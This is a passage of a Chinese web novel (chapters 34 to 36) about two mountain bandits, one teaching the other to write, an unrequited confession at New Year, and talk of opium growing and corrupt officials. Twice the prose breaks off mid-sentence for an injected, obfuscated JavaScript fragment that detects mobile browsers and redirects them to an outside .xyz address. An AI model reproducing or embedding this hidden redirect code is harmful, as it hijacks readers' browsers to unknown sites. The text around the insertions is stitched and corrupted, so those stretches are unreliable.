秦河哼笑道:“你也不看看是谁挑的,那掌柜说这书卖的最好,四九城里的大学生都爱看。” 许明意不置可否,暖炕上坐着的涂狗儿几人正嘻嘻哈哈地吃着栗子,见了许明意,涂狗儿先打了个招呼,“明意,义哥说让你帮他写封信,笔墨我们都拿来了。” 许明意微微一笑,看向那粗大的汉子,道:“义哥想写什么?” 张正义有点儿不好意思,挠挠头,说:“这不是快过年了,想着得托镖局寄点儿东西回家,让家里人过个年,想起明意兄弟识字儿,就想托你写封信。” 涂狗儿磨了墨,许明意说:“收信的是?” 张正义道:“我爹娘,还有我媳妇。” 许明意点了点头,说:“义哥,你说。” 涂狗儿在一旁插话:“义哥,你家有人识字儿吗?” 张正义:“我二叔家的小子在私塾里读过几年书,信到了让他给我爹娘念。” 信上所言,无非是报平安,再叮嘱家中双亲和妻子多加保重之言。许明意将他所说的略作润色,便落于纸上,他悬着腕,落下的字瘦劲清峻,行云流水,很是赏心悦目。 张正义看着许明意手中那张薄薄的家书,恍了恍神,说:“我走的时候,我姑娘三岁,儿子才刚会走路。这些年里就回过一回,两个孩子见了我都不会喊爹了……” 他这话一出,没来由的勾起了几分愁绪,姚善拍了拍他的肩膀,说:“等过了年,有机会就回去看看。” 涂狗儿也道:“就是,义哥,到时候我们陪你一起回去。” 张正义哈哈大笑,连声道好。 涂狗儿问姚善:“三哥,你要不要也写封信?” 姚善咧嘴一笑,摆摆手,道:“我就不写了。” 几人又说笑起来,许明意看着,仔细地将那封墨迹已干的信交给了张正义。秦河看着许明意,不知怎的,心里突然生出几分失落,许明意读过书,一看便是哪家富贵少爷,若非上了山,约莫和他这样的人一辈子也不会有交集。 入了夜,山风呼啸扣窗,秦河睡不着,隔着被子踢了踢许明意,说:“明意,你要不要给你家人写封信?” 许明意道:“写什么?” 秦河哑然,难不成写他被响马绑上山,也做了响马? 许明意说:“没什么可写的,我家人都死了。” 秦河沉默了下来,他盯着顶上的房梁,有点儿怜惜,又想,他们都只有自己了。秦河突然又没头没脑地说:“明意,你教我写字儿吧。” 34. 第 34 章 许明意没将秦河要习字当回事,只当他是又发病,毕竟他有胡乱贴符纸的前科,随意应了声便睡了过去。没想到第二天秦河当真拿了笔墨,目光灼灼地盯着许明意,许明意愣了下,看看秦河,又看看他手里捧着的笔墨纸砚,有些无言。 秦河人高马大,拿出求学稚子的作派,委实违和得很,不若让他扛着他那把□□出去挥几圈。 罢了。 左右寒冬无事,秦河到底对他有恩,许明意想,自他入响马以来,秦河对他已经很是照应了,更不要说还毫不藏私地授他武技,弓马刀枪。 许明意说:“来吧。” 秦河脸上绽放灿烂的笑容,咧出一口漂亮的白牙,“好嘞!” 习字伊始,许明意先让秦河写自己的名字,秦河原本还有点紧张和窘迫。让秦河耍刀他雄赳赳气昂昂,让他识字习文,还是在许明意面前,九尺昂藏,虎啸山林的秦河立时唯唯诺诺,面皮都发烫。 好在是写自己的名字。 这个秦河会啊!秦河养父也是个大字不识得几个的武夫,只会写自己的名字,无他,人活一世,总得知道自己的名字怎么写,是怎么个横竖撇捺,临到死时,碑上名讳也不至出错。 在秦河想来,他是真喜欢许明意的,想和他过一辈子——他想将许明意的名字刻在自己的碑上。像他这样的人,脑袋悬在裤腰带上,过的是刀尖舔血的日子,指不定哪日就死了。就像他为他爹立坟安葬一般,如果哪日他死了,能有人为他收尸,秦河希望他的碑上能刻有许明意三字。 许明意并不知道秦河心里朴素又蛮横的想法,只是看着他别扭地执笔,歪歪扭扭留下秦河二字时,眉心都跳了跳。 秦河看着自己写的字,老脸一红,道:“我爹的名儿我也能写!” 说罢就要写来为自己挣回几分脸面,许明意截住他,说了声“笔不是这么握的”,便伸出手抵在了他的手上,秦河的手指骨节粗大,显得许明意的手指分外细瘦修长。 秦河坐着,许明意站在他的身旁,微微俯身,拨着他僵硬的手指,一边调整他握笔的姿势,开口说:“擪——押,食指抵住笔身。” “钩——格——小指抵,”说着,许明意抬了抬他的手腕,“悬肘平腕,掌要立,手腕发力。” 他挨得太近,手指还搭在他腕上,指尖相触间,秦河恍了恍神,莫名的觉得面热,昏头得觉得,许明意这手——也挺好看的。 秦河反手就握住了许明意的手。 许明意声音顿住,面无表情地看着秦河,秦河也回过神,讪笑一声,撒开了抓着许明意的手,疯狂找补道:“我看你手凉,一会儿给你弄个暖手的。” 许明意盯着秦河不说话。 秦河头皮发麻,胸口乱跳,“……明意,你看看是不是这么着握笔?” 许明意慢慢收回了目光,淡淡的“嗯”了声,说:“横一笔。” “……啊,”秦河忙应下,听着他的横上一笔,许明意就着他所写,耐心教他如何起笔收笔,轻重快慢。许明意教得认真,秦河摒弃杂念,认真学将起来,等许明意口干饮水时,秦河二字,已经写得能认出是秦河二字了。 突然,秦河问许明意:“明意,你的名字是哪几个字?” 许明意看了他一眼,抬起笔,在纸上将“许明意”三字写了下来。秦河伸手指着他写的字,轻轻念了出来,抬起头,看着站在桌边的清瘦青年。 不知怎的,许明意听着秦河笨拙而认真地念出自己的名字时恍了下神,他曾剥离开这个名字,以“许九娘”的名字活着。不,九娘甚至不是一个名字,不过是许家人随笔杜撰的排行。他们重新给他杜撰了一套人生,绑缚他,规训他。 “许明意”三字代表的那个津门少年,便也突发恶疾,暴毙而亡。 在很长的一段时间里,鬓钗珠环之下,许明意都徘徊在“许明意”和“许九娘”的两个身份当中,所有人都当他做九娘。他竭力讨好他们,妄图博得他人的一点喜欢,以此来证明父亲憎厌,生母嫌弃,兄弟姊妹鄙夷轻视的他,并非一无是处,并非不配存活于世。许明意自厌自怨,拼命自证,直到碰见闻鹤来,仿佛一场混沌的梦裂开一道狭缝,许明意才那道狭缝里得以喘息,也得以清醒。 他是许明意,不是许九娘,他不亏欠任何人,也无需向任何人证明自己。 他来到这个世上,便已经证明了一切。 许明意轻轻开口:“嗯,许明意。” 秦河如获至宝,又将他的名字念了几遍,唇齿舌动间,心口缓缓淌过蜜水一般,眼里的喜爱藏都藏不住。 涂狗儿来时见秦河摆弄文墨都瞪圆了眼睛,见鬼似的,秦河有点儿恼羞成怒,恶声恶气道:“有什么好看的!” 涂狗儿摸摸下巴,说:“看倒是没什么好看的,就是没想过还有虎哥做读书人的一天哈哈哈。” 秦河引以为荣,说他,“要不怎么老子是哥,你跟哥混呢。人要成长就得学习,不能一辈子混吃等死。” 他拍了拍涂狗儿的肩膀,义正辞严地说:“多读书。” 涂狗儿呆住,伸手摸秦河脑袋,惊悚道:“虎哥,你不是真中邪了吧。” 秦河拍开他的手,说:“中什么邪,别耽误老子读书。” 涂狗儿望望撸着袖子练字的秦河,又瞧瞧正在看书的许明意,顿时对许明意生出几分敬意,了不得啊,读书人真是了不得,他虎哥都改邪归正了! 秦河问涂狗儿:“你要不要——” 涂狗儿坚定摇头,“不要。” 秦河:“老子还没说要什么呢。” 涂狗儿说:“什么都不要,虎哥你都中邪了,能说什么好?” 秦河无言,“你他妈的。” 涂狗儿说:“虎哥你好好练,我等着你考状元的那天啊!”说完,火烧屁股似的就跑了,一边跑还一边嚷,“义哥!三哥!不得了了,虎哥要去考状元了!” 秦河:“……” 许明意:“……” 许明意没想到秦河还当真将识字放在了心上,山上没有启蒙的书本,许明意便挑拣着一些教他,二人同处一室,秦河教许明意武,许明意反教他文,夜里又睡一张炕,倒是当真亲近了不少。 许明意不是不知事的懵懂少年,对秦河对他的好,又突然要跟他习文识字,心里隐隐有了几分猜测。秦河这屋子就这么大,当许明意整理书桌,看见压在空白宣纸底下几张薄纸时,目光还是颤了颤。 不算顶好的白纸,纸质粗劣,上头的墨迹更是笨拙如初学幼童,可每一个行,每一个字都如火似的蹿入许明意眼瞳,炙得他眼睛发涩。 那几张纸,写的只有三个字——许明意。 横横直直,歪歪扭扭,全是许明意。 秦河喜欢他。 许明意脑海中浮现秦河高大的身躯伏在桌上,捏着笔,认真地一笔一划画出他的名字的模样。 过了许久,许明意才叹了口气,抬手,将空白的宣纸重重压了上去。 山上断断续续下过两回雪,除夕就来了。世事当真是难以预料,许明意没想到,他会有在响马寨中和一群响马过年的一天。 为了庆贺新岁,独山龙寇达给山中每一个响马都或多或少的发了赏金,还大摆酒肉宴席。许明意混在响马群中,冷静地旁观着这场热闹,心里却并无多少喜悦。 许明意对平顶寨,始终生不出一丝归属感。秦河、涂狗儿等人担心许明意初来乍到不适应,都拉着他嬉闹,坐在一块儿喝酒吃肉,倒也不显得许明意不合群。浊酒烧喉,许明意和秦河在除夕当晚都没少喝,即便许明意克制,几杯入喉,面上还是泛起了红潮。 有个老响马,喝多了,大着舌头开始吹嘘起昔日洋人打四九城,他和几个兄弟操起大刀砍翻了多少洋鬼子的风光往事。秦河余光瞥见许明意要起身,止住话头,凑过去问许明意:“去哪儿?” 许明意说:“解手。” 秦河想也不想就起身,道:“我和你一起。” 二人要走,涂狗儿瞧见,又问:“虎哥,你们去哪儿?” 秦河:“放水。” 说完,和许明意一起朝茅房去,秦河见许明意脚下有点儿不稳,伸手握住他的手臂,嘴里道:“你这怎么拿酒沾沾嘴唇也能醉?” 许明意挣开他,道:“我没醉,”他瞥秦河一眼,说,“再说,是谁劝我酒?” 秦河干笑一声,“我也不知道你那么不能喝啊?大过年的,喝就喝了呗,平日里想这么喝还不成。” 许明意倒是没喝多,就是酒劲儿上脸,一时有些晕乎,他搓了搓脸颊,临到茅房边,脚步停住又看向秦河。 秦河:“?” 许明意:“你先。” 秦河愣了下,哭笑不得:“一起啊,你又不是大姑娘。” 许明意顶着一张潮红的脸,面无表情道:“不习惯。” “啧,你这什么毛病,都是男人,”檐下挂了一盏灯笼,山风吹得灯笼摇晃,昏暗的灯光映在许明意的脸上,看得秦河有点儿心痒,亦或者说是——心猿意马。秦河嬉笑道说:“你有的我都有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887538|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还怕我看啊。” 许明意不耐烦:“你怎么这么啰嗦?” 秦河搂住他的肩膀,挨近了,二人身上酒气缠绕,说:“不急吗?我又不看你,不会笑话你比我小的。” 男人的呼吸响在耳边,莫名的,许明意听出了一点黏黏糊糊的暧昧,他脑海中浮现秦河写下的那满张的“许明意”三字。秦河自以为他藏得好,可许明意细细一想,就发觉秦河的心意并非无迹可寻。 秦河并不是盲目良善之人,这里是响马窝,若非事出有因,一个人怎会对一个相识不过数月的人好到这个地步。许明意此前不知也就罢了,他知道了,再面对秦河那些有意无意的亲近和撩拨,就无法再将之视为兄弟之义。秦河的喜欢太过炽热滚烫,许明意不知如何回应,也回应不了。 如果秦河是如闻鹤来那样的浪荡子,许明意寂寞之下,说不得愿意多上一段露水姻缘,可他和闻鹤来不一样。秦河毫无保留地对他好,这个世上对他好的人不多,许明意不愿辜负秦河的真心。 何况,他的身体到底不一样。许明意好不容易才走到今日,他不想赌,不敢赌。 再纠缠下去,反倒平白生出旖旎心思,许明意没再说话,抬腿就走了进去。秦河臂弯里空了,愣了愣,也步入其中。里头黑,其实看得并不大分明,秦河只能听见许明意窸窸窣窣撩衣袍的声音,莫名的,生出一点紧张和难为情。 秦河过完除夕也不过二十又三,遇上许明意之前,不曾亲历男女之事,更是没有想过自己会突然断袖,喜欢男人。在男人和男人那档子事上,秦河几乎是一张白纸。 从没人告诉他,他会跟个变态到盯着男人尿尿浮想联翩啊! ——断,断袖都这样? 黑暗里,秦河面色胀得通红,呆了半晌,耳边听着许明意已经弄完,理了衣袍要走,“哎”了声,狼狈地塞将回去,系上裤腰带,“明意,等等我!” 水冷得彻骨,二人一边抽了口气,洗过手,秦河满腔胡乱念想也压下去了几分。他甩去手上的水珠,看向安静的许明意,有些口干,他酒量好,没有饮醉,可脑子却沸腾一般,莫名的火在胸口乱窜,搅灭了他的理智。 秦河和许明意并肩往回走,秦河舔了舔自己干燥的嘴唇,突兀地叫了声,“明意。” 许明意:“嗯?” 秦河咧嘴,忍不住又叫了他一声,“明意。” 许明意没有再应,秦河也不在意,没头没脑地说:“明意,你以前在家里的时候,和人好过吗?” 许明意脚步顿了顿,隔在二人间的那层窗户纸将破未破,他沉默片刻,说:“好过。” 秦河“哦”了声,声音里掩不住的失落,他不死心,又道:“后来呢?怎么没有在一起?” 许明意回过头,看向秦河,秦河死死地盯着他,那双眼中的期待璀璨如星,也似火,仿佛要将他拉入火海中。许明意冰凉的手指蜷缩了一下,浑不在意似的,说:“不是好了就会在一起的,有缘无分,有始无终,这世上多的是无疾而终。” 秦河听懂了,又好似有些没听明白,只执拗地问他:“你喜欢她吗?”又补上一句,“还喜欢她吗?” 许明意淡淡道:“秦河,我喜不喜欢,与你何干?” 秦河说:“干系大了,明意,我——” 他话没说完,许明意就开口说:“喜欢。” “我很喜欢,”许明意看着秦河的眼睛,平静无波道,“我很喜欢她,只差一步,我们便要成婚了。” 秦河呆了呆,心口的火瞬间熄了大半,他勉强笑道:“不是没成婚吗,没成婚,那就都是过去的事了,人得往前看,以前喜欢的人也可以放下,可以喜欢新的人。” 许明意看多了秦河意气风发,灿烂张扬的模样,鲜少见他露出狼狈,失意的样子,他心中掠过一丝不忍愧疚,低声说:“不一样的,秦河。” 秦河声音一下子高了,“什么不一样?你再喜欢又不能在一起,你还要守着她吗?” 许明意说:“是。” “我只想过和她共度一生,”许明意口中吐出几个字,“白头偕老,生儿育女。” 生儿育女。 许明意喜欢姑娘,不喜欢男人。 许明意有喜欢得不得了的姑娘,对她念念不忘。 许明意不会喜欢他。 秦河嘴唇发白,到嘴边的话再问不出口,他想告诉许明意,自己喜欢他,想问许明意,愿不愿意和他好,他会一辈子疼他,护着他。 可如今,似乎没有必要再说出口了。 35. 第 35 章 许明意和秦河这个除夕过得都不好,一个怅然一个失意,置身热闹里也觉不出半分喜意。凌晨时,山上噼里啪啦的响过鞭炮声,一岁便算过去了。 许明意熬了一宿,天将明时,看了一眼还在和姚善几人喝酒的秦河一眼,便自顾自地回去了。他前脚刚出屋子,秦河转头看着许明意的背影,捏着酒碗的手紧了紧,灌了几口酒。 翻过一年,许明意也没觉出什么不同,他迷迷糊糊地睡了一整日,连秦河回没回来也不知,起身时屋子里空空的,不见秦河的身影。他饿得狠了,打算自个儿随便弄点东西垫垫肚子 ,却看见灶上热着的饭食,一时间恍了一下神——还是有些不一样的。 可这份不一样,他不敢要,不能要。 许明意正看着犹带余温的饭菜出神,就听门边响起脚步声,却是秦河,秦河说:“醒了?”他一边说一边迈了进来,伸手探了探饭菜,道:“才醒吧,没想到你睡这么久,一天没吃东西,你先吃块红薯垫肚子,我给你弄碗疙瘩汤,别吃这个了。” 许明意听着他自然而然的语气,好似什么都不曾发生过,愣了下,半晌都没反应。昨晚二人虽不曾将话说破,可许明意和秦河都不是傻子,不点破,不过是给二人留一点余地罢了。 秦河看着许明意,笑了下,说:“让让。” 许明意这才回过神,摇摇头,道:“不用折腾了,我不饿,就吃这个。” 秦河随口说:“这有什么折腾的,我也饿了,烧火去。” 许明意抿抿嘴唇,只得退开去烧火。许明意已经能熟练地烧火了,他盯着里头窜动的火焰,耳边传来秦河搅拌面粉的声响,不时传出柴火炸开的哔波声响。 秦河说:“狗儿今早下山回家陪他老娘去了。他下山的时候问你要不要一起去山下住几日,我说过两日再一起下山去给涂婶子拜年。” 许明意怔了怔,轻轻“嗯”了声,涂婶和他有过一面之缘,年前狗儿下过一回山,回来时捎上了几双他娘纳的鞋底,连许明意都分得一双,尺寸大小正正合脚。 秦河手里一双筷子转得快,嘴里道:“那帮孙子,昨儿晚上都玩疯了,今儿不肯散,还有的闹。” 许明意抬起头看向秦河,秦河个头高,面容硬朗,轮廓分明。秦河心神都挂在他身上,哪儿能没察觉他的视线,脊背隐隐发麻,他佯作无意转头,和许明意的视线对个正着,玩笑道:“看我干啥?” 许明意顿了顿,说:“没什么。” 秦河叹口气,道:“明意,你别用这么……同情?算同情吧,用这样的眼神看我,”他啧了声,说,“搞得老子好像很可怜。” 许明意哑然,说:“……不是同情。” 秦河:“老子也说不上来,明意,真不至于啊,”他看着许明意,道,“不就是老子喜欢的人不喜欢我,还他妈喜欢姑娘么?又不是刀架脖子要死了。” “不是什么大不了的事,说实话,昨儿晚上确实有点那什么,后来我也想明白了。” “我喜欢你是我的事,你不喜欢是你的事,没谁规定我喜欢的人非得喜欢我,是吧?再说了,是因为你喜欢姑娘所以对我没意思,如果你喜欢男人,那说不定就喜欢我了。” 许明意听他如此一番逻辑自洽的话,一时间竟有些无言以对,莫名觉得好像……有点道理? 秦河道:“所以你也别觉得对不住我,我觉得你虽然现在喜欢姑娘,也不一定以后就不喜欢男人。” 许明意:“……为什么?” 秦河瞧了他一眼,理所当然道:“要是有男人惦记老子屁股,第三条腿都给他打折,你不仅没恼,还觉得对我不住,说明你也不是那么反感被男人喜欢这回事儿。” “不反感就是不讨厌,不讨厌表示可能会接受。” “你如果喜欢男人,我不觉得别人会比我有机会。” 许明意:“……” 看着许明意面上的怔忡无言,秦河心里的郁气也消散了几分,他话说得洒脱,可要说不难过是假的。他这二十多年来,头一回这样喜欢一个人,可他偏偏不喜欢自己——不是因为别的,是因为他不是个姑娘。 他也不能把自己变成姑娘啊。 他与许明意之间,好像无解,可秦河思来想去,到底是没法说服自己放下。强取豪夺吗?秦河虽是个响马,却从来不做欺男霸女的下作事,更不要说这个人是许明意。秦河舍不得。秦河知道许明意性子有多烈,他一旦做出强上的行径,许明意绝对会与他反目,不死不休。 放下?秦河不甘心。他花了一晚上,一整个白天,都没说服自己洒脱地放下——放下个屁,得拿起了才能放下,他还没拿起呢。可正是因着不曾开始就要他放弃,秦河反倒愈发不甘心。他是真喜欢许明意,喜欢得连男女都不顾了。 秦河想,不喜欢就不喜欢呗,天又没塌,他也不是要死了。他喜欢他的,也不碍着许明意什么,许明意要喜欢姑娘——就喜欢他的去呗。 这事儿最坏不过许明意以后和别的姑娘在一块儿,可要是好——那就是他和许明意皆大欢喜了。 不亏! 许明意艰难道:“秦河,你不必如此……” 秦河说:“明意,我这辈子还是头一回喜欢人,好歹让我尝尝喜欢一个人是什么滋味儿,这个别说你管不了,我自己都管不了。” “你放心,你可以当不知道,该怎么着还怎么着。” 许明意默然,他想,这怎么能当不知道?他怎么能明知给不了秦河他想要的,却依旧仗着秦河喜欢他,就享用他对自己的好? 秦河说:“反正我就是喜欢你,我对你好,是我喜欢,我乐意。你放心,如果哪天你要和你喜欢的姑娘要成亲,我也没二话。” “没准儿过一阵子,我撞见个胸大屁股翘的漂亮姑娘,就又喜欢回姑娘了。”秦河薅了薅自己短短的发茬,骂骂咧咧,“谁他妈知道还有喜欢男人这回事儿,男人和女人还不一定一辈子,男人和男人,可能也就一时鬼迷心窍。” “你就当老子鬼迷心窍,发病了。” 许明意看着秦河不自在又咬牙切齿地地嘟嘟囔囔,心中不由得微微动容,秦河话这么说,可许明意却知他这份心意何其郑重赤诚。有那么一瞬间,他几乎有了一丝动摇,“秦河……” 许明意道:“我不是良配,也不值得你如此喜欢。” “你怎么会不值得?”秦河抬起眼睛看着许明意,“你值得。” “明意,你值得这世上所有人的,所有的喜欢。” 许明意看着秦河,秦河嘿然道:“老子见你第一眼就在想,嚯,这小子这眼神真带劲,就是有点不知死活,自己都顾不了还想救姑娘——” “有种!” “就是你那刀使得……没眼看,还在我面前拔刀,”秦河絮絮叨叨,“这不是关公面前耍大刀,自找死路嘛,亏得老子心好,没一刀砍了你。” 秦河又幽幽叹了口气,说:“要是那会儿砍了你就好了,老秦家就不会绝后了,我真怕我爹晚上回来找我,要找就找我吧,别找你了……” 许明意那点感动生生教他这句击碎了,掰了根柴火丢火里,说:“闭嘴,煮面。” “老子饿了。” 秦河:“得嘞,祖宗。” 北地冬日长,可天气再寒,人依旧要生存。过了年,官道上渐渐有了车马的车辙,有商队的踪迹,沉寂了许久的平顶寨,也磨刀擦枪,变得蠢蠢欲动。 平顶寨中的师爷让人打死了,山上识字的响马不多,许明意前几回活儿干得漂亮,独山龙寇达就有提拔许明意做起寨子里的字匠兼秧子房掌柜的意思。所谓秧子房,干的是就是看管肉票,拷打索取银钱的活计。 至于秦河,他身手利落,枪法好,一手□□更是使得漂亮,自然干的就是冲锋陷阵。 许明意曾以为响马只是聚集在一起的匪盗,真正深入其中,方发觉如他所想的,只称得上小股流寇。能做到如平顶寨这般,有地盘,有枪的,其中门门道道颇多。诸如平顶山附近的清水镇,再远些的南庄,都被圈入了平顶寨的领地,大多流寇都会避开这样的地方。而这些仰赖平顶寨的,每年都得缴纳不菲的银子给平顶寨。 两年前,寇达不知从哪儿弄来了许多米囊花种子,拿刀和枪逼着村民拔了田里的庄稼,种上了米囊花。 所谓的米囊花,就是罂/粟,平顶寨还贩烟土,遂阳城中都有烟馆中卖的烟土,是走的平顶寨的路子。许明意发觉时深吸了口气,烟土暴利,无论是前清还是如今将将成立不过五六载的民国都想禁烟,可根本就禁无可禁。 秦河看着他面上的震惊神色,不以为意,这个世道就是这样。他孤身入关时就曾险些被抓去服兵役,说是兵役,其实不过是充当了军阀相争的肉军小卒。秦河看多了这些官官相护的丑相,莫说平顶寨种烟土,就是那些官儿,都有逼着底下人种烟土牟暴利的。 秦河说:“你知道为什么我们每回都能知道有多少商队,多大的商队过道?” 许明意看着秦河,秦河伸手折了一根冒了绿茬儿的树枝在地上划了一道,“这是长平官道,沿着长平官道,要经广泉镇,广泉镇是必经的关口。” 许明意顿时想起他被掳上山时的路,恍然,“广泉镇有你们的眼线。” 秦河笑了一下,说:“眼线,可以这么说吧。” 许明意眉心微蹙,若仅仅只是眼线,秦河没必要费这么多口舌,他想了想,几个字脱口而出,“官匪勾结?” 秦河扑哧一声笑了,拿树枝点了点他,说:“别说得这么难听,明意,别忘了你现在也是匪。” “官都贪,只要给上足够的大洋,就能让他们把什么都卖了,”秦河语气平淡,透着股子憎恶,说,“你知道寨子里每年给那些官儿至少要给上多少银子打点?” “这个数,”秦河伸出一根手指晃了晃,道,“这还不包括碰上县令——现在叫什么知事了,过生日,他老娘过寿之类的送上的礼。” “你以为那些当官的不知道有人截道吗?他们嘴上说剿匪,其实是两头得好处,上头给军饷军需,还能管土匪再要一拨好处,”秦河嗤笑道,“官字两个口,喂饱了他们,想怎么着都行,他们不会管老百姓死活,否则怎么会有这么多人好好的良民不做,要去做强盗土匪?” “民国民国,你看四九城里换了天,老百姓的日子好过了吗?” 秦河说的话,许明意初听来震惊,其实细细一想,并非危言耸听。他已经不是昔日津门闭门读书的世家少爷,也不是关在深闺的张家大少奶奶,他走出四九城,方见尘世如熔炉,好似浩浩天地,没人有活路,底层百姓更是如蝼蚁,苟且偷安。 这样的事,莫说现下,史书细数过去绝不独有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887539|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人说这番话时,正在一处矮坡上烤兔子,坡下不远处便是官道,两匹马拴在树上。近来没有大鱼,独山龙领着寨子里的响马扫荡了周遭的几个城镇收过一回税,许明意只看过一回便没有再去,跟着秦河去了平顶寨在各条路上设下的“路障”。窝过一冬的兔子小小一只,肉质干柴,口感不算好,秦河将烤好的兔子递给许明意,说:“我入关时想着已经背了一条通缉令了,也不在乎多背几张,路上我杀过地主豪绅,也杀过官,后来发现没什么用。” “杀完一个还会来一个更贪的,”秦河撕下一条兔腿咬了口,“民国政府靠不住,各地的官都在争夺底盘,哦,还有洋人,明意,你说还能有什么活路?” 许明意慢慢撕了条肉送入嘴里,认真想了想,说:“我不知道。” “我只知道,人不能一辈子做响马。” 秦河看了他一眼,说:“这话你在我面前说说就算了,就是在狗儿,老四他们面前都别提。” 许明意说:“我知道。” 他说得不假思索,秦河琢磨着他的这几个字,忍不住笑起来,他一笑就咧出那口白牙,灿烂得紧。许明意说:“笑什么?” “明意啊,”秦河嘿然道,“不能在狗儿他们面前说的话,你怎么就对我说了?” 许明意顿了顿,淡淡说:“你觉得因为什么?” 秦河眨了眨眼睛,笑嘻嘻道:“当然是我在你心里不一样——” “是不一样,”许明意截住他的话,说,“我初入平顶寨,是你收留我,你和我走得最近,我要是被定成了叛徒,你就算是独山龙的左膀右臂,也落不得好。” 秦河“啧”了声,说:“这么说就没意思了。” 许明意微微一笑,道:“再说,谁不知道虎哥最仗义,能转头卖了我?”他玩笑似的,嘴唇薄红,吐出“虎哥”二字,分明是再熟悉不过的两个字,却听得秦河脊背都酥麻,脑子里想,什么卖了他,他巴不得把人留着给自己做……做媳妇,还能卖了他?! 秦河神魂颠倒,神情时而甜蜜时而惆怅,突然,他听许明意问他,“秦河,你真的想一辈子做响马?” 秦河愣了下,这不是许明意第一次问他话了,他看向许明意,见许明意盯着未灭的火堆,神色却不似作伪,他想了想,说:“不做响马,能做什么?” 许明意道:“天地之大,总有能做的。” 秦河说:“明意,我和你说过的,我不想再做狗。” “而且当初我因为杀了一个狗官被官兵一路追杀,是大当家救了我,收留了我,”秦河道,“江湖人讲一个义字,我不能背叛大当家。” 许明意沉默了下来,半晌,道:“我只是随口问问。” 即便不想做响马,许明意一时间难以脱身,只是他知道自己不会一直留在平顶寨。他费尽心思逃出四九城,尽管不知归路,却知道,如果逃出四九城最终只是做一个杀人劫道的响马,他不如死在四九城。 许明意将烤兔子架回木架上,对秦河道:“以前我在家中时,不为家人所喜,就是亲生父母也厌憎我。后来去了四九城,过过一段很混乱的日子。那些时日我就像是一只被关在笼子里的鸟儿,逃出那个笼子的时候,我想,从此我是我了,我自由了。” “这世道的确不好,可我总觉得,没关系,且走着,总会明朗的。” 许明意看着秦河,那双眼生得秀气精致,眸光却璀璨如芒种烈日,灼灼生辉,好似浑浊雾霭也无法关住他分毫。只要给他一个机会,他便能披荆斩棘,劈开一条路。 秦河的心都震颤了一下,莫名的,心中涌出欢喜又惶惶的情绪,他喜欢这样的明意,可在这一刻,秦河却觉得二人之间隔着鸿沟天堑。秦河下意识伸手抓住了许明意的手腕,许明意一怔,想抽回去,秦河却攥得紧紧的,没有松开。 许明意:“秦河?” 秦河看着许明意,自那种莫名的情绪里抽离而出,他搓了搓许明意的手腕,嬉皮笑脸道:“手太凉了,放火上暖暖。” “明意,还是头一回听你提起你的家人,”秦河说,“你爹娘为什么会不喜欢你?” 许明意看着秦河骨节粗大的手,抽了出来,垂下眼睛,平静道:“因为他们觉得我生来污秽不详。” 秦河:“放屁。” “什么老封建臭古板,还能嫌弃自己儿子的?” 秦河只要一想自己恨不得捧着的许明意被人欺辱,视为不详,那双浓眉就拧了起来,好像要将那些瞧不上许明意的人都脖子都拧下来,看看脑子里装的什么东西。 许明意注视着秦河,没有错过青年毫不掩饰的愤怒,不由得轻轻一笑,说:“你不明白。” 秦河说:“什么明白不明白,我只知道这天底下最不该嫌弃自己孩子的就是爹妈,这没有道理可讲,孩子是他们生的吧,生出来还挑三拣四,说破天去都没这个道理。” “污秽,不详?”秦河哼了声,他捏着许明意的下巴,凑近了看,说,“多白净漂亮啊,这要给老子做媳妇,让我做皇帝都不换。” 许明意面无表情地拍开秦河的手,说:“做什么梦。” 秦河叫屈:“明意,你不给我做媳妇还不让人做梦么,太不讲道理了。” 许明意:“秦河。” 秦河举起手中烤兔子,道:“吃兔子,吃兔子。” 36. 第 36 章 之后数月的响马生活并不太平,许明意不太愿意回想那顿时光。在很长的一段时间里,他拿枪杀过人,也提刀斩下残肢断臂,桃红浅碧的春色里都似蒙上了一层血色,透着血腥气。 许明意跟着平顶寨下山劫掠,被官兵追剿过,和别的土匪抢过地盘,手里握着的除了枪械,还掂过带血的银子。时日一长,杀戮磨硬了许明意的心肠,他下刀时不再手抖,碰上硬骨的肉票,手上也会见血。他听过恶毒的诅咒和辱骂,骂他丧尽天良,诅咒他不得好死。 许明意无动于衷。 有那么一时片刻,许明意几乎迷失在这样血腥的杀戮当中,他是杀千刀的响马,是匪盗。他不杀别人,别人也会杀他,没有退路,没有回头路。 时局混乱,当地的军阀与邻省的军阀交过火,打得凶,便多了许多持械的逃兵还有流民。独山龙借此机会广纳队伍,收留了不少青壮流民和逃兵,平顶寨在这段时日里人数枪支都渐渐多了起来。许明意在平顶寨中也不再籍籍无名,山中的响马都知道秧子房的掌柜许明意名字斯文,看着瘦弱,却是个心狠手黑的,偏也没什么人真敢招惹他。 无他,许明意身边站着平顶寨中的迎门梁,炮头秦河。 真正让许明意声名鹊起的,却是在与平顶寨的死对头贺豹子的几番交火相争中。 平顶寨和响龙山两窝土匪争端由来已久,积怨甚深。无他,一山不容二虎,土匪本就煞气重,更不肯相让,一来二去的,就成了今日见面分外眼红的局面。 